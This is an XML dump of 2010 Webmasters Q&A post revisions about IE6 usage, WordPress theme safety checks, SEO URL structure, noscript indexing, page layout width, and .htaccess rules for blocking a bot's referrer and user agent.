  <row Id="3079" PostHistoryTypeId="2" PostId="1678" RevisionGUID="6ef84e84-78fd-4db3-9a07-d6d656714beb" CreationDate="2010-07-28T14:01:08.577" UserId="287" Text="For reference, I launched a website around targeting people interested in the world cup 2 months ago.  Of the 14,000+ visitors I got, exactly 262 of them used IE6.&#xD;&#xA;&#xD;&#xA;Its entirely possible that in your domain you will not need to support IE6." />
  <row Id="3080" PostHistoryTypeId="2" PostId="1679" RevisionGUID="4a026975-55df-47b4-a9fb-a2055000e187" CreationDate="2010-07-28T14:03:35.747" UserId="233" Text="Obviously, always make sure you have the latest version of Wordpress installed. The admin panel tells you when WP needs updating. If you don't log in too often, you could follow the wordpress.org blog feed to keep on top it.&#xD;&#xA;&#xD;&#xA;Every time you download a new theme you should search through the source code for any use of `base64_decode` or `eval` (Notepad++ makes this easy), this is the primary way to hide malicious code or spammy links. You can copy the encoded HTML/PHP into an online [base64 decoder][1] if you like, to see what it's actually doing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.opinionatedgeek.com/dotnet/tools/base64decode/" />
  <row Id="3082" PostHistoryTypeId="5" PostId="1675" RevisionGUID="0fc5dd76-03c7-4b7e-b983-c01f7ecb595b" CreationDate="2010-07-28T14:10:59.803" UserId="108" Comment="Cleaned up grammar" Text="What product url is better from SEO perspective for an eShop&#xD;&#xA;&#xD;&#xA;    www.site.com/main-category/sub-category/sub-category2/product-name.html&#xD;&#xA;    www.site.com/products/product-name.html&#xD;&#xA;    www.site.com/product-name.html&#xD;&#xA;&#xD;&#xA;Some people state that the last one since you make that page more important to the root of the domain. I would think its more logical to have them like the 1st.&#xD;&#xA;&#xD;&#xA;What do you guys think?&#xD;&#xA;Does this really matter for SEO?" />
  <row Id="3083" PostHistoryTypeId="4" PostId="1675" RevisionGUID="0fc5dd76-03c7-4b7e-b983-c01f7ecb595b" CreationDate="2010-07-28T14:10:59.803" UserId="108" Comment="Cleaned up grammar" Text="eShop product urls SEO, with or without category folder" />
  <row Id="3084" PostHistoryTypeId="2" PostId="1680" RevisionGUID="69896bd8-cf5b-4311-88d8-bd44bebf3bf5" CreationDate="2010-07-28T14:26:00.750" UserId="108" Text="What @Tim Said.&#xD;&#xA;&#xD;&#xA;If you decide that you must use folders for whatever reason, I would suggest not going more than 1 level deep.  Usually, the reasoning to use folders is to clearly define the areas of your site.  So for instance if your site sells products, has a blog and has users then you might want to go with a structure like this:&#xD;&#xA;&#xD;&#xA;    www.site.com/Product/...html&#xD;&#xA;    www.site.com/Blog/...html&#xD;&#xA;    www.site.com/Users/..html&#xD;&#xA;&#xD;&#xA;That means your product page, using Tim's example, would be:&#xD;&#xA;&#xD;&#xA;    www.site.com/Product/acme-widget101.html&#xD;&#xA;&#xD;&#xA;Again, I want to stress, I would only use this if you have different sections.  Also, if the products are the most important part then this structure would be even better:&#xD;&#xA;&#xD;&#xA;    www.site.com/&lt;product_name&gt;.html&#xD;&#xA;    www.site.com/Blog/...html&#xD;&#xA;    www.site.com/Users/..html&#xD;&#xA;&#xD;&#xA;That way products are as close to the top domain as possible and short for users but there is also some separation for your blog and account administration.&#xD;&#xA;&#xD;&#xA;Google's guideline is each folder deeper you go, Google sees the content as less important and reduces is SEO value some.  So keeping thing close to the top of the domain is good for users and good for Google." />
  <row Id="3085" PostHistoryTypeId="2" PostId="1681" RevisionGUID="5f753197-a991-4620-958a-31c6d8cb49d1" CreationDate="2010-07-28T14:28:05.860" UserId="233" Text="Firstly I would suggest removing the `.html`, it's not useful for search engines or users.&#xD;&#xA;&#xD;&#xA;Generally, there is little difference between using folders and not using folders, if both URLs have the same keywords (i.e. `acme-widgets-101` is roughly the same as `acme/widgets/101`).&#xD;&#xA;&#xD;&#xA;You should look at what information the URL provides. Including category folders makes the hierarchy of your site clear to both search engines and users. Having all URLs at the root level does not provide this information, there is no way to determine the relationship between `acme-widget-101` and `widco-widget-xds3`.&#xD;&#xA;&#xD;&#xA;So I would suggest using a logical folder structure. Avoid nesting folders too deep - long URLs will start making things worse again." />
  <row Id="3086" PostHistoryTypeId="5" PostId="1680" RevisionGUID="a3b9bfc5-dd9a-4a15-96c2-fe6c278f0bdd" CreationDate="2010-07-28T14:46:10.700" UserId="108" Comment="added 746 characters in body" Text="What @Tim Said.&#xD;&#xA;&#xD;&#xA;If you decide that you must use folders for whatever reason, I would suggest not going more than 1 level deep.  Usually, the reasoning to use folders is to clearly define the areas of your site.  So for instance if your site sells products, has a blog and has users then you might want to go with a structure like this:&#xD;&#xA;&#xD;&#xA;    www.site.com/Product/...html&#xD;&#xA;    www.site.com/Blog/...html&#xD;&#xA;    www.site.com/Users/..html&#xD;&#xA;&#xD;&#xA;That means your product page, using Tim's example, would be:&#xD;&#xA;&#xD;&#xA;    www.site.com/Product/acme-widget101.html&#xD;&#xA;&#xD;&#xA;Again, I want to stress, I would only use this if you have different sections.  Also, if the products are the most important part then this structure would be even better:&#xD;&#xA;&#xD;&#xA;    www.site.com/&lt;product_name&gt;.html&#xD;&#xA;    www.site.com/Blog/...html&#xD;&#xA;    www.site.com/Users/..html&#xD;&#xA;&#xD;&#xA;That way products are as close to the top domain as possible and short for users but there is also some separation for your blog and account administration.&#xD;&#xA;&#xD;&#xA;Google's guideline is each folder deeper you go, Google sees the content as less important and reduces is SEO value some.  So keeping thing close to the top of the domain is good for users and good for Google.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;- - -&#xD;&#xA;Edit&#xD;&#xA;&#xD;&#xA;I looked into it a bit more and I could not find Google specifically stating that going many directories deep would cause you to lose PageRank by level but I did find in [Google's Search Engine Optimization Starter Guide][1] document on page 8 this statement:&#xD;&#xA;&#xD;&#xA;&gt; Avoid:&#xD;&#xA;&#xD;&#xA;&gt; - having deep nesting of subdirectories like &quot;.../dir1/dir2/dir3/dir4/dir5/dir6/ page.html&quot;&#xD;&#xA;&gt; - using directory names that have no relation to the content in them&#xD;&#xA;&#xD;&#xA;This document from Google might also be helpful, http://www.google.com/support/webmasters/bin/answer.py?answer=76329.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://static.googleusercontent.com/external_content/untrusted_dlcp/www.google.com/en/us/webmasters/docs/search-engine-optimization-starter-guide.pdf" />
  <row Id="3087" PostHistoryTypeId="2" PostId="1682" RevisionGUID="9187a34b-5535-4fa9-a4e7-8addd44a2ca9" CreationDate="2010-07-28T15:07:12.693" UserId="108" Text="I would see no reason to unblock Yahoo's search bot.  There are 2 ways Yahoo could be using the Bing Engine.  They could integrate it with their own and set a hybrid crawler loose on the net or they could just be sending the queries into the Bing Engine and spitting out the results they get back.&#xD;&#xA;&#xD;&#xA;From the document Joel linked to there is another document [here][1].  In it Yahoo states &quot;In mid-July, we began testing the delivery of organic results from Bing to Yahoo!&quot;  To me that means that Yahoo is not tightly integrating with the Bing Engine.  They are simply calling the Bing Engine API.  That also would make the most sense from the standpoint of work required since the Yahoo Engine is going away in the long term.  &#xD;&#xA;&#xD;&#xA;That means we should see no more Yahoo Bot crawling the web once 100% of the results are coming out of the Bing Engine.  Therefore, there is no reason to unblock it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ysearchblog.com/2010/07/20/yahoo-begins-testing-with-microsoft/" />
  <row Id="3088" PostHistoryTypeId="2" PostId="1683" RevisionGUID="08dce781-dc7d-496c-93f9-3352594fd664" CreationDate="2010-07-28T15:13:37.693" UserId="1096" Text="We have a site that contains a &quot;sign up&quot; form in the sidebar in most pages. This signup contains a dropdown of countries, the contents of which are being indexed by google and affecting our sites SEO. &#xD;&#xA;&#xD;&#xA;Is there any recommended way to resolve this. As far as I can tell the options are:&#xD;&#xA;&#xD;&#xA;1) Make the dropdown load dynamically via javascript (not an option for us since we need to work for non-jsj clients)&#xD;&#xA;&#xD;&#xA;2) Take the signup form, stick it in its own page, and include that page in an iframe instead. This way, google will index that seperate file once only and so the country dropdown options should not be ranked so highly.&#xD;&#xA;&#xD;&#xA;Are there other options?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="3089" PostHistoryTypeId="1" PostId="1683" RevisionGUID="08dce781-dc7d-496c-93f9-3352594fd664" CreationDate="2010-07-28T15:13:37.693" UserId="1096" Text="Best way to stop a country dropdown from affecting google SEO" />
  <row Id="3090" PostHistoryTypeId="3" PostId="1683" RevisionGUID="08dce781-dc7d-496c-93f9-3352594fd664" CreationDate="2010-07-28T15:13:37.693" UserId="1096" Text="&lt;seo&gt;" />
  <row Id="3091" PostHistoryTypeId="2" PostId="1684" RevisionGUID="2fc78958-c162-43b3-ac40-aeda65e92310" CreationDate="2010-07-28T15:25:01.443" UserId="26" Text="1 and 2 do sound like your options. 1 is ruled out because of the requirement to support non-JavaScript capable visitors, now, it's possible that JS in tandem with a `&lt;noscript&gt;` tag would be interpreted differently, but I would not count on that. 2, properly implemented (make sure the form targets `_top` and handles errors and validation properly) sounds like the thing.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3092" PostHistoryTypeId="2" PostId="1685" RevisionGUID="a952671e-97a5-4b64-9562-50d9a5ae8212" CreationDate="2010-07-28T15:30:34.737" UserId="26" Text="Is content inside a `&lt;noscript&gt;` ([HTML4][2], [HTML5][3]) tag indexed by search engines?&#xD;&#xA;&#xD;&#xA;(*Inspired by [this question][1]*)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/1683/best-way-to-stop-a-country-dropdown-from-affecting-google-seo&#xD;&#xA;  [2]: http://www.w3.org/TR/REC-html40/interact/scripts.html#h-18.3.1&#xD;&#xA;  [3]: http://www.w3.org/TR/html5/scripting-1.html#the-noscript-element" />
  <row Id="3093" PostHistoryTypeId="1" PostId="1685" RevisionGUID="a952671e-97a5-4b64-9562-50d9a5ae8212" CreationDate="2010-07-28T15:30:34.737" UserId="26" Text="Is content inside a &lt;noscript&gt; tag indexed by search indexes?" />
  <row Id="3094" PostHistoryTypeId="3" PostId="1685" RevisionGUID="a952671e-97a5-4b64-9562-50d9a5ae8212" CreationDate="2010-07-28T15:30:34.737" UserId="26" Text="&lt;seo&gt;&lt;html&gt;&lt;noscript&gt;" />
  <row Id="3095" PostHistoryTypeId="2" PostId="1686" RevisionGUID="57862547-51a7-428a-9f54-6f6e32dceb5f" CreationDate="2010-07-28T15:37:12.663" UserDisplayName="delete" Text="It's indexed by Google. Try searching for&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;site:www.flickr.com &quot;to take full advantage of flickr, you should use a javascript-enabled browser&quot;&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;Google also adds &quot;About 58,400,000 results (0.22 seconds)&quot;.&#xD;&#xA;" />
  <row Id="3096" PostHistoryTypeId="2" PostId="1687" RevisionGUID="cb935a00-eecf-4f19-80f9-97e6b6ebd369" CreationDate="2010-07-28T15:40:30.743" UserId="221" Text="If you go with option #2 you can then exclude the iframe page in your robots.txt and completely eliminate it from Google's index." />
  <row Id="3097" PostHistoryTypeId="2" PostId="1688" RevisionGUID="645863c4-cede-4214-a15f-8d97543bd1ff" CreationDate="2010-07-28T15:50:59.803" UserId="108" Text="I did a little research and it sounds like there is a lot to the `&lt;noscript&gt;` tag.  Here is what I found:&#xD;&#xA;&#xD;&#xA; 1. Google does look at the data inside of the `&lt;noscript&gt;` tag&#xD;&#xA; 2. Spammers and black hats have abused the `&lt;noscript&gt;` tag before.  So even when Google uses the `&lt;noscript&gt;` tag to determine search results it isn't one of the stronger rules.&#xD;&#xA; 3. Google seems to be currently index the text inside of the `&lt;noscript&gt;` tag for results but it appears to turn that on and off, see here, http://www.webmasterworld.com/google/3122771.htm&#xD;&#xA; 4. Google will follow links inside of the `&lt;noscript&gt;` tag but it will not send PR to the pages linked from within the `&lt;noscript&gt;` tag&#xD;&#xA;&#xD;&#xA;Also, according to this document, http://searchengineland.com/google-io-new-advances-in-the-searchability-of-javascript-and-flash-but-is-it-enough-19881, Google prefers the text within the noscript to match the test within your JavaScript.  The goal of using `&lt;noscript&gt;` to provide graceful degradation.  This article also makes it sound like Google can now index JavaScript fairly well which means abusing the `&lt;noscript&gt;` tag is a bad idea but that there is nothing wrong with using it." />
  <row Id="3098" PostHistoryTypeId="2" PostId="1689" RevisionGUID="9382ecc7-ebf5-4da9-a7c4-31a47791f56f" CreationDate="2010-07-28T15:54:59.193" UserId="1079" Text="I've noticed more and more sites have gone to a fixed-width layout, where resizing the browser window just causes scrollbars to appear, as opposed to a flexible layout, where resizing the browser causes the components of the page to &quot;scrunch&quot; together.  &#xD;&#xA;The StackExchange sites like this one are an example of the fixed layout.  GMail and iGoogle are examples of the flexible layout.  What are the reasons for choosing one over the other?" />
  <row Id="3099" PostHistoryTypeId="1" PostId="1689" RevisionGUID="9382ecc7-ebf5-4da9-a7c4-31a47791f56f" CreationDate="2010-07-28T15:54:59.193" UserId="1079" Text="Fixed width vs dynamic width" />
  <row Id="3100" PostHistoryTypeId="3" PostId="1689" RevisionGUID="9382ecc7-ebf5-4da9-a7c4-31a47791f56f" CreationDate="2010-07-28T15:54:59.193" UserId="1079" Text="&lt;best-practice&gt;&lt;website-design&gt;" />
  <row Id="3101" PostHistoryTypeId="2" PostId="1690" RevisionGUID="e51e0679-2634-449e-9110-4ea31bcf1e85" CreationDate="2010-07-28T15:58:45.807" UserId="43" Text="I have a site (built with wordpress) that is currently under a bot attack (as best I can tell).  A file is being requested over and over, and the referrer is (almost every time) turkyoutube.org/player/player.swf.  The file being requested is deep within my theme files, and is always followed by &quot;?v=&quot; and a long string (i.e. r.php?v=Wby02FlVyms&amp;title=izlesen.tk_Wby02FlVyms&amp;toke).&#xD;&#xA;&#xD;&#xA;I've tried setting an .htaccess rule for that referrer, which seems to work, except that now my 404 page is being loaded over and over, which is still using lots of bandwidth. Is there a way to create an .htaccess rule that requires no bandwidth usage on my part?&#xD;&#xA;&#xD;&#xA;I also tried creating a robots.txt file, but the attack seems to be ignoring that.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3102" PostHistoryTypeId="1" PostId="1690" RevisionGUID="e51e0679-2634-449e-9110-4ea31bcf1e85" CreationDate="2010-07-28T15:58:45.807" UserId="43" Text="How can I stop a bot attack on my site?" />
  <row Id="3103" PostHistoryTypeId="3" PostId="1690" RevisionGUID="e51e0679-2634-449e-9110-4ea31bcf1e85" CreationDate="2010-07-28T15:58:45.807" UserId="43" Text="&lt;botattack&gt;&lt;.htaccess&gt;" />
  <row Id="3104" PostHistoryTypeId="2" PostId="1691" RevisionGUID="c5d5d5c6-b095-4fd8-bbd3-20a4e2723e74" CreationDate="2010-07-28T16:11:58.683" UserId="221" Text="More complex designs can be very difficult to realize with variable width layout. So I imagine that plays a role.&#xD;&#xA;&#xD;&#xA;There is also the fact that it is not comfortable to read text that is very wide. The column size on StackExchange sites is quite manageable and easy to read. Width a variable with layout, you can not just extend the main text body across without it becoming illegible. Even Google limits the width of their search results.&#xD;&#xA;&#xD;&#xA;Of course if you have a site where space is at a premium (like Google Docs and Google Maps) you really want to go with a variable width scheme to use all the available space. " />
  <row Id="3105" PostHistoryTypeId="2" PostId="1692" RevisionGUID="871fb3d5-9f5f-480e-8d97-2da5b8ab75ef" CreationDate="2010-07-28T16:15:39.570" UserId="221" Text="If the attack is coming from the same IP number each time (or a small set of IP numbers) you should block that IP number in your firewall. That should not cost any bandwidth or load on your web server.&#xD;&#xA;&#xD;&#xA;If you are hosting it on a Linux machine that you have root access to [this article][1] explains how to do this. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cyberciti.biz/faq/how-do-i-block-an-ip-on-my-linux-server/" />
  <row Id="3106" PostHistoryTypeId="2" PostId="1693" RevisionGUID="d162148a-37e6-4911-9a86-0bed9f13490b" CreationDate="2010-07-28T16:21:00.563" UserId="108" Text="Fixed with is much easier to developer for complex sites.  Also, most fixed width sites will be around 1000 pixels wide.  The reason is only 1% of browsers use 800x640 and 0% use 640x480.  Check out the most current stats [here][1]. This doesn't include mobile though.  Which is an entirely different ball game.&#xD;&#xA;&#xD;&#xA;The value of variable width layout is that it allows people to use the website easily in a window that is not maximized.&#xD;&#xA;&#xD;&#xA;You have to look at your audience and decide based off of what experience you think they want and if variable width is more important than other features that you won't be able to develop if you have to do variable width.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3schools.com/browsers/browsers_display.asp" />
  <row Id="3107" PostHistoryTypeId="5" PostId="1690" RevisionGUID="8a83086c-9286-4faa-b5e7-db83ec26f4ab" CreationDate="2010-07-28T16:22:56.973" UserId="26" Comment="reformatting, add code" Text="I have a site (built with wordpress) that is currently under a bot attack (as best I can tell).  A file is being requested over and over, and the referrer is (almost every time) `turkyoutube.org/player/player.swf`.  The file being requested is deep within my theme files, and is always followed by &quot;`?v=`&quot; and a long string (i.e. `r.php?v=Wby02FlVyms&amp;title=izlesen.tk_Wby02FlVyms&amp;toke`).&#xD;&#xA;&#xD;&#xA;I've tried setting an .htaccess rule for that referrer, which seems to work, except that now my 404 page is being loaded over and over, which is still using lots of bandwidth. Is there a way to create an .htaccess rule that requires no bandwidth usage on my part?&#xD;&#xA;&#xD;&#xA;I also tried creating a robots.txt file, but the attack seems to be ignoring that.&#xD;&#xA;&#xD;&#xA;    #This is the relevant part of the .htaccess file:&#xD;&#xA;    RewriteCond %{HTTP_REFERER} turkyoutube\.org [NC]&#xD;&#xA;    RewriteRule .* - [F]&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3108" PostHistoryTypeId="6" PostId="1690" RevisionGUID="8a83086c-9286-4faa-b5e7-db83ec26f4ab" CreationDate="2010-07-28T16:22:56.973" UserId="26" Comment="reformatting, add code" Text="&lt;botattack&gt;&lt;.htaccess&gt;&lt;denial-of-service-attack&gt;&lt;dos&gt;" />
  <row Id="3109" PostHistoryTypeId="2" PostId="1694" RevisionGUID="8ac8468d-93e8-4ea3-b9f3-ff3acee3d431" CreationDate="2010-07-28T16:29:57.077" UserId="1074" Text="Aside from the IP blocking, I would scrutinize the files that are being requested.  It's a fairly common thing for open-source systems such as WordPress and Joomla to be exploited, which is one reason why they're frequently updated.  If you've neglected a few updates, it's possible that someone has penetrated your site.  &#xD;&#xA;&#xD;&#xA;I've had that scenario happen to me twice, once on a testing site that never got fully deployed (but was left in place) and another time on a company website where an employee with valid access &quot;snuck&quot; a phpBB on for his family to communicate--updates would have prevented the issues.  In both cases, the problem was found with analytics as it seems might be true in your case.  The Joomla attack injected javascript that caused the user's browser to load software, while the latter allowed the hacker to upload files to the server that were part of a distributed &quot;alternate&quot; google site that lead the user to p*rn every time.  Though it's not entirely a common hack, check your DB users table, just in case.&#xD;&#xA;&#xD;&#xA;I certainly don't mean to cause alarm, but it never hurts to take the time to dig through your site once in a while to know exactly what's going on.  Sometimes you'll be surprised what you find.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3110" PostHistoryTypeId="2" PostId="1695" RevisionGUID="206d7e0c-cfc7-4697-bfae-bbd9fb5da909" CreationDate="2010-07-28T16:30:10.913" UserId="55" Text="How about a little [corbomite maneuver][1]?&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?turkyoutube.org.*$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://127.0.0.1/$1 [R=401,L]&#xD;&#xA;&#xD;&#xA;Note, **untested** but should redirect requests from them back to themselves with a `401 Not Authorized` status code. That is, if the bot even handles redirects (very unlikely), but it will still see the status code.&#xD;&#xA;&#xD;&#xA;The rule you posted in comments is also more than adequate. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/The_Corbomite_Maneuver" />
  <row Id="3111" PostHistoryTypeId="5" PostId="1695" RevisionGUID="04010689-61da-4b5f-bef2-b8175871dbf4" CreationDate="2010-07-28T16:40:36.583" UserId="55" Comment="added 237 characters in body" Text="How about a little [corbomite maneuver][1]?&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?turkyoutube.org.*$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://127.0.0.1/$1 [R=401,L]&#xD;&#xA;&#xD;&#xA;Note, **untested** but should redirect requests from them back to themselves with a `401 Not Authorized` status code. That is, if the bot even handles redirects (very unlikely), but it will still see the status code.&#xD;&#xA;&#xD;&#xA;The rule you posted in comments is also more than adequate if you broaden the expression to match the host a little more. I use something close (as far as the actual rule) to block user-agents matching `libww-perl`:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT} libwww-perl.*&#xD;&#xA;    RewriteRule .* - [F,L]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/The_Corbomite_Maneuver" />
  <row Id="3112" PostHistoryTypeId="5" PostId="1695" RevisionGUID="eb37999b-fa2a-484f-bda3-64534d4f7936" CreationDate="2010-07-28T16:58:56.277" UserId="55" Comment="added 1 characters in body; added 105 characters in body" Text="How about a little [corbomite maneuver][1]?&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?turkyoutube.org.*$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://127.0.0.1/$1 [R=401,L]&#xD;&#xA;&#xD;&#xA;Note, **untested** but should redirect requests from them back to themselves with a `401 Not Authorized` status code. That is, if the bot even handles redirects (very unlikely), but it will still see the status code. A 404 status code may be more effective. Either one should tell the bot that it should probably give up.&#xD;&#xA;&#xD;&#xA;The rule you posted in comments is also more than adequate if you broaden the expression to match the host a little more. I use something close (as far as the actual rule) to block user-agents matching `libwww-perl`:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT} libwww-perl.*&#xD;&#xA;    RewriteRule .* - [F,L]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/The_Corbomite_Maneuver" />
  <row Id="3113" PostHistoryTypeId="2" PostId="1696" RevisionGUID="70453070-256d-45c9-a237-7031ee69400a" CreationDate="2010-07-28T17:22:56.143" UserId="233" Text="I'm installing a Wordpress blog on a site run from a server farm. We can only upload files through FTP (which gets synced to the web servers). Any file written to the server through the web site is deleted after about 5 minutes.&#xD;&#xA;&#xD;&#xA;I've found a few FTP plugins for Wordpress, which look like they will allow me to upload files using FTP. The problem is, we need to go to that plugin and upload the files, then go back to the WP post to add them... not very convenient, really.&#xD;&#xA;&#xD;&#xA;I know Wordpress has FTP capabilities when installing plugins and themes, but is there a way to get Wordpress to use FTP for the main upload manager when writing a post?" />
  <row Id="3114" PostHistoryTypeId="1" PostId="1696" RevisionGUID="70453070-256d-45c9-a237-7031ee69400a" CreationDate="2010-07-28T17:22:56.143" UserId="233" Text="Can I get Wordpress to upload images etc via FTP instead of the filesystem?" />
  <row Id="3115" PostHistoryTypeId="3" PostId="1696" RevisionGUID="70453070-256d-45c9-a237-7031ee69400a" CreationDate="2010-07-28T17:22:56.143" UserId="233" Text="&lt;wordpress&gt;&lt;ftp&gt;" />
  <row Id="3116" PostHistoryTypeId="2" PostId="1697" RevisionGUID="ef25b589-0907-445c-a647-1c48b9fe4c5a" CreationDate="2010-07-28T17:55:45.417" UserId="1100" Text="Section 508 of the Rehabilitation Act more-or-less requires an explicit &quot;Home&quot; link. If you're doing U.S. Government work or otherwise want to make your site &quot;more accessible&quot; you should include one.&#xD;&#xA;&#xD;&#xA;On the other side of that coin, I've been to plenty of sites where the logo wasn't a link to anywhere. &quot;Logo = home link&quot; is nowhere near universal." />
  <row Id="3117" PostHistoryTypeId="2" PostId="1698" RevisionGUID="c58964df-1d67-4c05-9e2b-abb271c10782" CreationDate="2010-07-28T17:57:09.687" UserId="1100" Text="I have been quite happy with [Bluehost][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.bluehost.com" />
  <row Id="3118" PostHistoryTypeId="2" PostId="1699" RevisionGUID="2c501aed-9904-4ca3-bf28-5e49656a9ccb" CreationDate="2010-07-28T18:07:53.347" UserId="1101" Text="Yes, we had a similar situation and decided to use this http://wordpress.org/extend/plugins/w3-total-cache/&#xD;&#xA;&#xD;&#xA;w3-total-cache allows you to set a CDN for serving images, as well as Amazon S3 etc the CDN can also be a regular FTP account. We setup assets.example.com pointed some FTP details to it.&#xD;&#xA;When a author publishes a post, any attached files are automatically uploaded to the CDN and the image paths rewritten. " />
  <row Id="3119" PostHistoryTypeId="2" PostId="1700" RevisionGUID="00e77a0d-7563-4023-bf89-6dc36e4b5444" CreationDate="2010-07-28T18:20:33.120" UserId="1076" Text="It's a good idea, but be prepared for a frustrating process.&#xD;&#xA;&#xD;&#xA;From the perspective of a web site submitter, once a site has been submitted, it goes into a mysterious black hole. The **only** way to know that **anything** has happened with the submission is if it shows up in the DMOZ index, and that can take years. The submitter agonizes over this during the months after the submission. He wonders: Did I submit the site properly? Was there a technical issue with the submission form? Did some technical glitch occur after that? Did some human error occur in the process? Did it get lost in the shuffle? Did the topic editor die? Is he just sitting on a backlog of submissions? Was it rejected for some specific reason? If so, what was that reason? I know I could fix it if only I knew what the problem was! Was the site approved but somehow after that it got lost in the shuffle? Was there some other kind of technical glitch that caused it to get lost even after approval? And so on. The point is that if the site never appears in DMOZ, anyone who submits a site can only see a future of daily checking DMOZ and then sadly realizing that the site still isn't there. But maybe, just maybe, it will be there tomorrow.&#xD;&#xA;&#xD;&#xA;I got into a long conversation with DMOZ editors in the DMOZ forums recently, and was surprised at their lack of interest in improving process.  For them, it's just a hobby, and that's all it will ever be, until it finally (and mercifully) dies from irrelevance." />
  <row Id="3120" PostHistoryTypeId="2" PostId="1701" RevisionGUID="8a70caf8-000e-47ba-9e80-f27c26738d37" CreationDate="2010-07-28T19:14:01.280" UserId="460" Text="I want to change tweentyten style.css so that this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #content img {&#xD;&#xA;    	margin: 0;&#xD;&#xA;    	height: auto;&#xD;&#xA;    	max-width: 640px;&#xD;&#xA;    	/*width: auto;*/&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Will be the case (instead of the width being un-remarked)&#xD;&#xA;&#xD;&#xA;I tried adding this to the file under the folder twentyten-child&#xD;&#xA;&#xD;&#xA;But it didn't work.&#xD;&#xA;&#xD;&#xA;Any more suggestions?" />
  <row Id="3121" PostHistoryTypeId="1" PostId="1701" RevisionGUID="8a70caf8-000e-47ba-9e80-f27c26738d37" CreationDate="2010-07-28T19:14:01.280" UserId="460" Text="How to change CSS in a child theme ?" />
  <row Id="3122" PostHistoryTypeId="3" PostId="1701" RevisionGUID="8a70caf8-000e-47ba-9e80-f27c26738d37" CreationDate="2010-07-28T19:14:01.280" UserId="460" Text="&lt;wordpress&gt;&lt;css&gt;&lt;theme&gt;" />
  <row Id="3123" PostHistoryTypeId="2" PostId="1702" RevisionGUID="1a1b2904-2b52-4215-9190-a8af80bff5d1" CreationDate="2010-07-28T19:18:42.533" UserId="454" Text="Yes - DMOZ is a powerful link. &#xD;&#xA;&#xD;&#xA;The thing about DMOZ is, the submission process is very easy, and free. A very high ROI for your time. &#xD;&#xA;&#xD;&#xA;The more you agonize about getting approved, the worse the ratio of time spent vs. link value gets. &#xD;&#xA;&#xD;&#xA;Submit it and forget it. " />
  <row Id="3124" PostHistoryTypeId="2" PostId="1703" RevisionGUID="1d4da4b1-6428-4f1e-b02f-0baac42d7175" CreationDate="2010-07-28T20:20:04.180" UserId="26" Text="To make a child theme, see [Theme Development: Child Themes][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Probably all you need to do is create a new directory in your `wp-content/themes/` directory. Call it `my-twenty-ten/`&#xD;&#xA;&#xD;&#xA;Into it put a file called `style.css` with the following content:&#xD;&#xA;&#xD;&#xA;    /*&#xD;&#xA;    Theme Name: My Own Twenty Ten&#xD;&#xA;    */&#xD;&#xA;     &#xD;&#xA;    @import url(&quot;../twentyten/style.css&quot;);&#xD;&#xA;    &#xD;&#xA;    #content img {&#xD;&#xA;        margin: 0;&#xD;&#xA;        height: auto;&#xD;&#xA;        max-width: 640px;&#xD;&#xA;        /*width: auto;*/&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;  [1]: http://codex.wordpress.org/Theme_Development#Child_Themes&#xD;&#xA;" />
  <row Id="3125" PostHistoryTypeId="5" PostId="1703" RevisionGUID="4720807d-3ca7-4132-95a2-537bd996660a" CreationDate="2010-07-28T20:34:49.120" UserId="26" Comment="deleted 1 characters in body" Text="To make a child theme, see [Theme Development: Child Themes][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Probably all you need to do is create a new directory in your `wp-content/themes/` directory. Call it `my-twentyten/`&#xD;&#xA;&#xD;&#xA;Into it put a file called `style.css` with the following content:&#xD;&#xA;&#xD;&#xA;    /*&#xD;&#xA;    Theme Name: My Own Twenty Ten&#xD;&#xA;    */&#xD;&#xA;     &#xD;&#xA;    @import url(&quot;../twentyten/style.css&quot;);&#xD;&#xA;    &#xD;&#xA;    #content img {&#xD;&#xA;        margin: 0;&#xD;&#xA;        height: auto;&#xD;&#xA;        max-width: 640px;&#xD;&#xA;        /*width: auto;*/&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;  [1]: http://codex.wordpress.org/Theme_Development#Child_Themes&#xD;&#xA;" />
